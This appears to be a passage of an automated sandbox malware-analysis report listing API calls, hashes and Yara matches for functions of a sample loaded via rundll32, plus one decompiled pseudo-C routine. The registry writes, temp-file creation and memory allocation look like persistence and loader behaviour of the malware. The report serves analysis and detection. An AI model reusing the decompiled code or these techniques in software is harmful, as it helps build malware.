                                            APIs
                                            • lstrlen.KERNEL32(00000000,76EC5520,?,00000000,?,?,?), ref: 05DE779B
                                            • lstrlen.KERNEL32(?), ref: 05DE77A3
                                            • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DE77B3
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DE77D2
                                            • lstrlen.KERNEL32(?), ref: 05DE77E7
                                            • lstrlen.KERNEL32(?), ref: 05DE77F5
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?), ref: 05DE7843
                                            • lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,?), ref: 05DE7867
                                            • lstrlen.KERNEL32(?), ref: 05DE789A
                                            • HeapFree.KERNEL32(00000000,?,?), ref: 05DE78C5
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,?), ref: 05DE78DC
                                            • HeapFree.KERNEL32(00000000,?,?), ref: 05DE78E9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Heap$Free$Allocatelstrcpy
                                            • String ID:
                                            • API String ID: 904523553-0
                                            • Opcode ID: 68cff498be14f1e6769f5537bc03a3298ec5a0c9793ef1b2083779a8bc715f46
                                            • Instruction ID: 33e9487614712855c052f469cd53b8d27ea1473469d17db24870557481431fa7
                                            • Opcode Fuzzy Hash: 68cff498be14f1e6769f5537bc03a3298ec5a0c9793ef1b2083779a8bc715f46
                                            • Instruction Fuzzy Hash: AF413872A0028AEFDF12AFA4DC84EAE7FBAFB44310F104467F91597250DB31A951DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE2036 Relevance: 18.1, APIs: 12, Instructions: 95registrymemorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlImageNtHeader.NTDLL(?), ref: 05DE2047
                                            • GetTempPathA.KERNEL32(00000000,00000000,?,?,05DF0300,00000094,00000000,00000000,?), ref: 05DE205F
                                            • RtlAllocateHeap.NTDLL(00000000,00000011), ref: 05DE206E
                                            • GetTempPathA.KERNEL32(00000001,00000000,?,?,05DF0300,00000094,00000000,00000000,?), ref: 05DE2081
                                            • GetTickCount.KERNEL32 ref: 05DE2085
                                            • wsprintfA.USER32 ref: 05DE209C
                                            • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 05DE20D7
                                            • StrRChrA.SHLWAPI(00000000,00000000,?), ref: 05DE20F7
                                            • lstrlen.KERNEL32(00000000), ref: 05DE2101
                                            • RegSetValueExA.ADVAPI32(00000001,00000001,00000000,00000001,00000000,00000001), ref: 05DE2111
                                            • RegCloseKey.ADVAPI32(?), ref: 05DE211D
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000001,00000000,?), ref: 05DE212B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapPathTemp$AllocateCloseCountCreateFreeHeaderImageTickValuelstrlenwsprintf
                                            • String ID:
                                            • API String ID: 3778301466-0
                                            • Opcode ID: 241f63ba12bfff28eebb33529cc2a2d87e4b08f4a6a4aa14f8531a941a6a9cc5
                                            • Instruction ID: 548dd125be1831cc24b0a851e31f241e664b2a3ccf5b07797176db818a7cb008
                                            • Opcode Fuzzy Hash: 241f63ba12bfff28eebb33529cc2a2d87e4b08f4a6a4aa14f8531a941a6a9cc5
                                            • Instruction Fuzzy Hash: 9F313C75512118BFDB11AFA8EC89EAF7FBDEF45355B014027FA06C6210DB718E419BA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE15AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120memorythreadstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlImageNtHeader.NTDLL(00000000), ref: 05DE15D4
                                            • GetCurrentThreadId.KERNEL32 ref: 05DE15EA
                                            • GetCurrentThread.KERNEL32 ref: 05DE15FB
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                              • Part of subcall function 05DE4309: lstrlen.KERNEL32(00000000,00000001,00000000,?,?,00000001,00000000,00000000,00000000,00000000,?,05DD479A,00000000,00000000,00000000,00000000), ref: 05DE4374
                                              • Part of subcall function 05DE4309: HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000001,00000000,00000000,00000000,00000000,?,05DD479A,00000000,00000000,00000000,00000000), ref: 05DE439C
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,00000020,00000000,?,00000000,?,00000000,00000000,?), ref: 05DE1675
                                            • HeapFree.KERNEL32(00000000,?,00000020,00000000,?,00000000,?,00000000,00000000,?), ref: 05DE1681
                                            • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 05DE16D0
                                            • wsprintfA.USER32 ref: 05DE16E8
                                            • lstrlen.KERNEL32(00000000,00000000), ref: 05DE16F3
                                            • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 05DE170A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$CurrentTempThread$FilePathTimelstrlen$AllocateHeaderImageNameSystemlstrcpywsprintf
                                            • String ID: W
                                            • API String ID: 630447368-655174618
                                            • Opcode ID: 84ed5df46370a73053221e61a78d230e4051d8f60eb27dcd0d327c00174961f1
                                            • Instruction ID: 21d3e4c0e4b33e1890ec2d140c71aacae99501d90d69c50e40ca2dc334909ecd
                                            • Opcode Fuzzy Hash: 84ed5df46370a73053221e61a78d230e4051d8f60eb27dcd0d327c00174961f1
                                            • Instruction Fuzzy Hash: DB413871A11118AFDF11EFA5DC49DAEBFB9FF06744B04402BF90596260DB319A90DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6953 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,05DDF6B3,00000008,00000001,00000010,00000001,00000000,0000003A,00000001,00000000), ref: 05DD6972
                                            • WriteFile.KERNEL32(?,00000001,?,?,?), ref: 05DD69A6
                                            • ReadFile.KERNEL32(?,00000001,?,?,?), ref: 05DD69AE
                                            • GetLastError.KERNEL32 ref: 05DD69B8
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,00002710), ref: 05DD69D4
                                            • GetOverlappedResult.KERNEL32(?,?,?,00000000), ref: 05DD69ED
                                            • CancelIo.KERNEL32(?), ref: 05DD6A02
                                            • CloseHandle.KERNEL32(?), ref: 05DD6A12
                                            • GetLastError.KERNEL32 ref: 05DD6A1A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorFileLast$CancelCloseCreateEventHandleMultipleObjectsOverlappedReadResultWaitWrite
                                            • String ID: v
                                            • API String ID: 4263211335-1801730948
                                            • Opcode ID: 822aaf11e2e584b11ba7fd56b59de052c9dff79e337cd72fe41692e6e625df45
                                            • Instruction ID: f86e5cd8280cd78d1fa92127c2860bd7fee4d0b60938bb370a1fb0d706bd5cb0
                                            • Opcode Fuzzy Hash: 822aaf11e2e584b11ba7fd56b59de052c9dff79e337cd72fe41692e6e625df45
                                            • Instruction Fuzzy Hash: FC212A36911118EFCF019FA8DC899EFBB7AFB48311B108027F916D6240DB309A95CBA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD3F20 Relevance: 16.7, APIs: 11, Instructions: 157registrystringfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DD3F4B
                                              • Part of subcall function 05DDB0A5: RegCloseKey.ADVAPI32(?), ref: 05DDB12C
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DD3F86
                                            • lstrcpyW.KERNEL32(-00000002,?), ref: 05DD3FE8
                                            • lstrcatW.KERNEL32(00000000,?), ref: 05DD3FFD
                                            • lstrcpyW.KERNEL32(?), ref: 05DD4017
                                            • lstrcatW.KERNEL32(00000000,?), ref: 05DD4026
                                              • Part of subcall function 05DDE793: lstrlenW.KERNEL32(?,00000000,?,05DD4045,00000000,?), ref: 05DDE7A6
                                              • Part of subcall function 05DDE793: lstrlen.KERNEL32(?,?,05DD4045,00000000,?), ref: 05DDE7B1
                                              • Part of subcall function 05DDE793: RtlAllocateHeap.NTDLL(00000000,00000022), ref: 05DDE7C6
                                            • RegCloseKey.ADVAPI32(?,?,?,00000000,?), ref: 05DD4090
                                              • Part of subcall function 05DE5F3B: lstrlenW.KERNEL32(?,76E106E0,05DF2F1B,80000001,?,?,05DDC229,?,?,05DD40AD,00000000,?,00000000,?), ref: 05DE5F47
                                              • Part of subcall function 05DE5F3B: memcpy.NTDLL(00000000,?,00000000,00000002,?,?,05DDC229,?,?,05DD40AD,00000000,?,00000000,?), ref: 05DE5F6F
                                              • Part of subcall function 05DE5F3B: memset.NTDLL ref: 05DE5F81
                                            • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000080,00000000,00000000,?,00000000,?), ref: 05DD40C5
                                            • GetLastError.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000,?), ref: 05DD40D0
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD40E6
                                            • RegCloseKey.ADVAPI32(?,00000000,?,00000000,?), ref: 05DD40F8
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Closelstrlen$HeapOpenlstrcatlstrcpy$AllocateCreateErrorFileFreeLastmemcpymemset
                                            • String ID:
                                            • API String ID: 1430934453-0
                                            • Opcode ID: ee3543bbdc49d66030ee2c08fc2eb43fcc6b5780d89e6af8251a6ae87446c26a
                                            • Instruction ID: 851de8035f0bc5becf5fc21aced68d201145de9a97234c7f8da6bfa86432a911
                                            • Opcode Fuzzy Hash: ee3543bbdc49d66030ee2c08fc2eb43fcc6b5780d89e6af8251a6ae87446c26a
                                            • Instruction Fuzzy Hash: 1C516A72911109AFEF11EBA8DC49EAEBBBDFF48304F000167F501E2250DB719A459BA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB26E7 Relevance: 16.6, APIs: 11, Instructions: 145stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 55%
                                            			E04AB26E7(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				WCHAR* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				WCHAR* _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				WCHAR* _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				WCHAR* _t125;

				_t58 =  *0x4aba3dc; // 0x5629c48
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E04AB59CA();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E04AB59CA();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E04AB4B8D(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E04AB4B8D(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E04AB4480(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x4ab918c;
						}
						_t70 = E04AB22D6(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E04AB4DF6(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x4aba348; // 0xb6d5a8
								_t28 = _t105 + 0x4abbb08; // 0x530025
								wsprintfW(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E04AB4480(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x4ab9190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E04AB4DF6(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E04AB4C73(_v24);
								} else {
									_t92 =  *0x4aba348; // 0xb6d5a8
									_t44 = _t92 + 0x4abbc80; // 0x73006d
									wsprintfW(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E04AB4C73(_v8);
						}
						E04AB4C73(_v12);
					}
					E04AB4C73(_v16);
				}
				return _v28;
			}


































                                            0x04ab26ed
                                            0x04ab26f5
                                            0x04ab26f8
                                            0x04ab2705
                                            0x04ab2708
                                            0x04ab270f
                                            0x04ab2716
                                            0x04ab2719
                                            0x04ab2726
                                            0x04ab2729
                                            0x04ab272c
                                            0x04ab2731
                                            0x04ab2736
                                            0x04ab273e
                                            0x04ab2743
                                            0x04ab2748
                                            0x04ab274e
                                            0x04ab2752
                                            0x04ab275b
                                            0x04ab275f
                                            0x04ab2761
                                            0x04ab2761
                                            0x04ab2769
                                            0x04ab276e
                                            0x04ab2773
                                            0x04ab2779
                                            0x04ab2780
                                            0x04ab2791
                                            0x04ab2798
                                            0x04ab27aa
                                            0x04ab27af
                                            0x04ab27b4
                                            0x04ab27bd
                                            0x04ab27cf
                                            0x04ab27e5
                                            0x04ab27ea
                                            0x04ab27ee
                                            0x04ab27f2
                                            0x04ab27f7
                                            0x04ab27fc
                                            0x04ab27fe
                                            0x04ab27fe
                                            0x04ab2808
                                            0x04ab2811
                                            0x04ab2818
                                            0x04ab2834
                                            0x04ab2838
                                            0x04ab2871
                                            0x04ab283a
                                            0x04ab283d
                                            0x04ab2845
                                            0x04ab2856
                                            0x04ab285e
                                            0x04ab2866
                                            0x04ab286a
                                            0x04ab286a
                                            0x04ab2838
                                            0x04ab2879
                                            0x04ab2879
                                            0x04ab2881
                                            0x04ab2881
                                            0x04ab2889
                                            0x04ab2889
                                            0x04ab2895

                                            APIs
                                            • GetTickCount.KERNEL32 ref: 04AB26FF
                                            • lstrlen.KERNEL32(00000000,00000005), ref: 04AB2780
                                            • lstrlen.KERNEL32(?), ref: 04AB2791
                                            • lstrlen.KERNEL32(00000000), ref: 04AB2798
                                            • lstrlenW.KERNEL32(80000002), ref: 04AB279F
                                            • wsprintfW.USER32 ref: 04AB27E5
                                            • lstrlen.KERNEL32(?,00000004), ref: 04AB2808
                                            • lstrlen.KERNEL32(?), ref: 04AB2811
                                            • lstrlen.KERNEL32(?), ref: 04AB2818
                                            • lstrlenW.KERNEL32(?), ref: 04AB281F
                                            • wsprintfW.USER32 ref: 04AB2856
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: lstrlen$wsprintf$CountFreeHeapTick
                                            • String ID:
                                            • API String ID: 822878831-0
                                            • Opcode ID: 49595c6d99fbb5a4b39087128f982b7ff1e136a95f5835448b01c4b247e260ba
                                            • Instruction ID: c01966aab62028acf2e6a5d3da022be354783d147aeba6e7a0e0adf73ac0c84e
                                            • Opcode Fuzzy Hash: 49595c6d99fbb5a4b39087128f982b7ff1e136a95f5835448b01c4b247e260ba
                                            • Instruction Fuzzy Hash: 9951A372D00219BBDF12AFA4DD48ADE7BB9FF48318F054065E944A7222DB35EA11DBD0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD9ECE Relevance: 16.6, APIs: 11, Instructions: 144memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000104,00000000), ref: 05DD9F04
                                            • RtlAllocateHeap.NTDLL(00000000,00000104), ref: 05DD9F19
                                            • RegCreateKeyA.ADVAPI32(80000001,?), ref: 05DD9F41
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD9F82
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD9F92
                                            • RtlAllocateHeap.NTDLL(00000000,05DE782C), ref: 05DD9FA5
                                            • RtlAllocateHeap.NTDLL(00000000,05DE782C), ref: 05DD9FB4
                                            • HeapFree.KERNEL32(00000000,00000000,?,05DE782C,00000000,?,?,?), ref: 05DD9FFE
                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,05DE782C,00000000,?,?,?,?), ref: 05DDA022
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,05DE782C,00000000,?,?,?), ref: 05DDA047
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,05DE782C,00000000,?,?,?), ref: 05DDA05C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$Allocate$CloseCreate
                                            • String ID:
                                            • API String ID: 4126010716-0
                                            • Opcode ID: 7e9bea6b4f33bdb0d3c1291d1a5ab8da7964cb1a875341d6d1d0be6810a82628
                                            • Instruction ID: d6084446aca2aaa9bd4c211073bdea46306f82d330552a97a965059de2b83a16
                                            • Opcode Fuzzy Hash: 7e9bea6b4f33bdb0d3c1291d1a5ab8da7964cb1a875341d6d1d0be6810a82628
                                            • Instruction Fuzzy Hash: 2F51C2B6C00109EFDF119FA8E885DEEBFB9FB08354B10846BF506A2220D7314A94DF61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE69E1 Relevance: 16.6, APIs: 11, Instructions: 121memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFindFileNameW.SHLWAPI(?), ref: 05DE69FB
                                            • PathFindFileNameW.SHLWAPI(?), ref: 05DE6A11
                                            • lstrlenW.KERNEL32(00000000), ref: 05DE6A54
                                            • RtlAllocateHeap.NTDLL(00000000,05DF2F1D), ref: 05DE6A6A
                                            • memcpy.NTDLL(00000000,00000000,05DF2F1B), ref: 05DE6A7D
                                            • _wcsupr.NTDLL ref: 05DE6A89
                                            • lstrlenW.KERNEL32(?,05DF2F1B), ref: 05DE6AC2
                                            • RtlAllocateHeap.NTDLL(00000000,?,05DF2F1B), ref: 05DE6AD7
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 05DE6AED
                                            • lstrcatW.KERNEL32(00000000,?), ref: 05DE6B13
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DE6B22
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFileFindNamePathlstrlen$Free_wcsuprlstrcatlstrcpymemcpy
                                            • String ID:
                                            • API String ID: 3868788785-0
                                            • Opcode ID: 831f1fe198c01dca1e356dde9f14a0055976221ef7e208f7b43b20984be24a6e
                                            • Instruction ID: 2683be68bf88d3ca2b8e25a71cbfa6b6a51f72f2fa80c8b2a4f3d6ba35a9c61b
                                            • Opcode Fuzzy Hash: 831f1fe198c01dca1e356dde9f14a0055976221ef7e208f7b43b20984be24a6e
                                            • Instruction Fuzzy Hash: 5031E432614204AFC620BFB8FC8AE6F7FA9FB59611B25451BF612D3250DE30D885CB51
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE2E58 Relevance: 16.6, APIs: 11, Instructions: 102registrymemorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DE2E7C
                                              • Part of subcall function 05DDB0A5: RegCloseKey.ADVAPI32(?), ref: 05DDB12C
                                            • lstrcmpiW.KERNEL32(?,?,?,?,00000000), ref: 05DE2EAB
                                            • lstrlenW.KERNEL32(?,?,?,00000000), ref: 05DE2EBC
                                            • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 05DE2EF6
                                            • RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000004,00000004), ref: 05DE2F18
                                            • RegCloseKey.ADVAPI32(?), ref: 05DE2F21
                                            • RtlEnterCriticalSection.NTDLL(00000000), ref: 05DE2F37
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE2F4C
                                            • RtlLeaveCriticalSection.NTDLL(00000000), ref: 05DE2F60
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE2F75
                                            • RegCloseKey.ADVAPI32(?), ref: 05DE2F7E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Close$CriticalFreeHeapSection$CreateEnterLeaveOpenValuelstrcmpilstrlen
                                            • String ID:
                                            • API String ID: 534682438-0
                                            • Opcode ID: a2ce60ad45da947fce0b3a1551f551daa909bd05d2dfee1d5bc7481c4fd30552
                                            • Instruction ID: a7ccdb11f9ec455922f3307b53379a8575b1f692584b3de9c988e71dd01c7a83
                                            • Opcode Fuzzy Hash: a2ce60ad45da947fce0b3a1551f551daa909bd05d2dfee1d5bc7481c4fd30552
                                            • Instruction Fuzzy Hash: 9D314A76A10108BFDF11AFA8EC89DAE7FBDFB48701B144067F605D2220DB329A95DB50
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE026E Relevance: 16.6, APIs: 11, Instructions: 80memoryfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000104,00000000), ref: 05DE0285
                                            • GetWindowsDirectoryA.KERNEL32(00000000,00000104,?,00000000,?,05DF049C,00000094,00000000,00000001,00000094,00000000,00000000,?,05DDB047,00000000,00000094), ref: 05DE0297
                                            • StrChrA.SHLWAPI(00000000,0000003A,?,00000000,?,05DF049C,00000094,00000000,00000001,00000094,00000000,00000000,?,05DDB047,00000000,00000094), ref: 05DE02A4
                                            • wsprintfA.USER32 ref: 05DE02BF
                                            • CreateFileA.KERNEL32(00000002,C0000000,00000003,00000000,00000003,00000000,00000000,00000000,?,05DDB047,00000000,00000094,00000000), ref: 05DE02D5
                                            • GetModuleHandleA.KERNEL32(00000000,00010000,?,00000000), ref: 05DE02EE
                                            • WriteFile.KERNEL32(00000000,00000000), ref: 05DE02F6
                                            • GetLastError.KERNEL32 ref: 05DE0304
                                            • CloseHandle.KERNEL32(00000000), ref: 05DE030D
                                            • GetLastError.KERNEL32(?,00000000,?,05DF049C,00000094,00000000,00000001,00000094,00000000,00000000,?,05DDB047,00000000,00000094,00000000), ref: 05DE031E
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,05DF049C,00000094,00000000,00000001,00000094,00000000,00000000,?,05DDB047,00000000,00000094), ref: 05DE032E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorFileHandleHeapLast$AllocateCloseCreateDirectoryFreeModuleWindowsWritewsprintf
                                            • String ID:
                                            • API String ID: 3873609385-0
                                            • Opcode ID: d7a858f87c6c3cef35bf7d6655fa3adad687512ff656f7bdf5c564ca8db2b94c
                                            • Instruction ID: e55c0b41ae2527a288a930813f52104f1ba487cbed035676263569ebd1f9cae1
                                            • Opcode Fuzzy Hash: d7a858f87c6c3cef35bf7d6655fa3adad687512ff656f7bdf5c564ca8db2b94c
                                            • Instruction Fuzzy Hash: C4119D72115218AFE621AB68AC8EFBB3FACEB46665B000027F94692380DE614D85C771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD1A49 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrChrA.SHLWAPI(?,0000002C), ref: 05DD1A7A
                                            • StrChrA.SHLWAPI(00000001,0000002C), ref: 05DD1A8D
                                            • StrTrimA.SHLWAPI(?,?), ref: 05DD1AB0
                                            • StrTrimA.SHLWAPI(00000001,?), ref: 05DD1ABF
                                            • lstrlen.KERNEL32(?), ref: 05DD1AF4
                                            • RtlAllocateHeap.NTDLL(00000000,-00000005), ref: 05DD1B07
                                            • lstrcpy.KERNEL32(00000004,?), ref: 05DD1B25
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,-00000005,00000001), ref: 05DD1B49
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapTrim$AllocateFreelstrcpylstrlen
                                            • String ID: W
                                            • API String ID: 1974185407-655174618
                                            • Opcode ID: 6ea24b40192d0d8008cd527f1f2da248b2e7b3f845946d9862a50647aaa1b34e
                                            • Instruction ID: acd0ae8e52fe9d07163f4d3e0d909f987f84c060535cf66c4506cccb0a963cdc
                                            • Opcode Fuzzy Hash: 6ea24b40192d0d8008cd527f1f2da248b2e7b3f845946d9862a50647aaa1b34e
                                            • Instruction Fuzzy Hash: 8E317C36A10219FFDB109FA8DC49E9ABFB9EF49711F158057F905A7250EB709980CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEBC40 Relevance: 15.3, APIs: 10, Instructions: 279memorythreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004), ref: 05DEBCB7
                                            • VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004), ref: 05DEBCD6
                                              • Part of subcall function 05DE3672: wsprintfA.USER32 ref: 05DE3685
                                              • Part of subcall function 05DE3672: CreateWaitableTimerA.KERNEL32(00000000,00000001,?), ref: 05DE3697
